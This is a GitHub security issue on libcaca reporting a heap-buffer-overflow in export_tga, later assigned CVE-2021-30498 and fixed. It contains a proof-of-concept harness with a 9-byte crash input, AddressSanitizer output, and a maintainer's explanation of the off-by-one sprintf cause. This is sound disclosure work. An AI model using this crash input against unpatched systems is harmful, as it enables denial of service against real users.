New issue

Jump to bottom

[Security] heap-buffer-overflow of export.c in function export_tga #53

Closed NigelX opened this issue on Apr 6, 2021 · 3 comments

NigelX commented on Apr 6, 2021 • edited

Hi libcaca Team
When I use the libfuzz test library API, I found an overflow error. Here are the steps to reproduce and my running environment

System info：
Ubuntu 20.04 : clang 10.0.0 , gcc 9.3.0
Fedora 33: clang 11.0.0 , gcc 10.2.1

libcaca version e4968ba

Verification steps：
1.Get the source code of libcaca
2.Compile the libcaca.so library

```
$ cd libcaca
$ ./bootstrap
$ ./configure
$ make
```

or

```
$ cd libcaca
$ ./bootstrap
$ ../configure CC="clang -O2 -fno-omit-frame-pointer -g -fsanitize=address,fuzzer-no-link  -fsanitize-coverage=bb" CXX="clang++ -O2 -fno-omit-frame-pointer -g -fsanitize=address,fuzze
$ make
```

3.Create the poc_tga.cc && build

```
#include "config.h"
#include "caca.h"
#include <assert.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fstream>
#include <iostream>

using namespace std;

extern "C"  int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {

  if(Size<8) return 0;
  size_t len=0;
  char* buffer = (char*)malloc(Size+1);
  memset(buffer,0,Size);
  memcpy(buffer,Data,Size);
  buffer[Size]='\0';
  caca_canvas_t *cv;
  cv = caca_create_canvas(0,0);
  for(int i=0;i<4;i++)
        caca_create_frame(cv,0);
  for(int i=0;i<4;i++){
        caca_set_frame(cv,i);
        caca_import_canvas_from_memory(cv,buffer,strlen(buffer),"");
  }
  void* reData = caca_export_canvas_to_memory(cv,"tga",&len);
  if(reData!=NULL) free(reData);
  caca_free_canvas(cv);
  cv=NULL;
  free(buffer);
  buffer=NULL;
        return 0;
}

int main(int args,char* argv[]){

        size_t  len = 0;
        unsigned char buffer[] = {0x00,0xff,0xff,0x23,0x64,0x72,0x23,0x20,0x11};
        len = sizeof(buffer)/sizeof(unsigned char);
        LLVMFuzzerTestOneInput((const uint8_t*)buffer,len);
        printf("%d\n",sizeof(buffer)/sizeof(unsigned char));

        return 0;
}
```

4.compile poc_tga.cc

```
clang++ -g poc_tga.cc -O2 -fno-omit-frame-pointer -fsanitize=address  -I./caca/ -lcaca -L./caca/.libs/ -Wl,-rpath,./caca/.libs/  -o poc_tga
```

5.Run poc_tga

asan info:

```
==1845495==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x603000000022 at pc 0x7f905c1bf440 bp 0x7ffdb0a31310 sp 0x7ffdb0a31308
WRITE of size 1 at 0x603000000022 thread T0
    #0 0x7f905c1bf43f in export_tga /home/hh/Downloads/libcaca/caca/codec/export.c:961:12
    #1 0x7f905c1bf43f in caca_export_memory /home/hh/Downloads/libcaca/caca/codec/export.c:117:16
    #2 0x4c6d46 in LLVMFuzzerTestOneInput /home/hh/Downloads/libcaca/poc_tga.cc:29:18
    #3 0x4c6e1c in main /home/hh/Downloads/libcaca/poc_tga.cc:44:2
    #4 0x7f905bc0e0b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
    #5 0x41c39d in _start (/home/hh/Downloads/libcaca/poc_tga+0x41c39d)

0x603000000022 is located 0 bytes to the right of 18-byte region [0x603000000010,0x603000000022)
allocated by thread T0 here:
    #0 0x494add in malloc (/home/hh/Downloads/libcaca/poc_tga+0x494add)
    #1 0x7f905c1be0eb in export_tga /home/hh/Downloads/libcaca/caca/codec/export.c:944:18
    #2 0x7f905c1be0eb in caca_export_memory /home/hh/Downloads/libcaca/caca/codec/export.c:117:16
    #3 0x4c6d46 in LLVMFuzzerTestOneInput /home/hh/Downloads/libcaca/poc_tga.cc:29:18
    #4 0x4c6e1c in main /home/hh/Downloads/libcaca/poc_tga.cc:44:2
    #5 0x7f905bc0e0b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16

SUMMARY: AddressSanitizer: heap-buffer-overflow /home/hh/Downloads/libcaca/caca/codec/export.c:961:12 in export_tga
Shadow bytes around the buggy address:
  0x0c067fff7fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c067fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c067fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c067fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c067fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c067fff8000: fa fa 00 00[02]fa fa fa fa fa fa fa fa fa fa
  0x0c067fff8010: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c067fff8020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c067fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c067fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c067fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==1845495==ABORTING
```

👍 1

carnil commented on Apr 13, 2021

CVE-2021-30498 is assigned for this issue.

👍 1

jmoellers commented on Apr 16, 2021

This is due to the fact that the images in the POC have a size of 0x0 and thus, when exporting, no data is written for the image bits.
However, space is allocated for the header only, not taking into account that sprintf appends a NUL byte.
In export_tga, I would replace the sprintfs by *cur++=..." and in export_troff, I'd silently allocate one extra byte: malloc(*bytes+1).
Maybe only if the size of the image is 0x0.

jmoellers mentioned this issue on Apr 19, 2021

[Security] global-buffer-overflow of export.c in function export_troff #54

Closed

samhocevar added a commit that referenced this issue on Oct 19, 2021

`Fix buffer overflows in TGA and troff exports (addresses #53, #54)` ··· ab04483

samhocevar commented on Oct 19, 2021 Contributor

I believe this is fixed in libcaca v0.99.beta20.

samhocevar closed this as completed on Oct 19, 2021

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

4 participants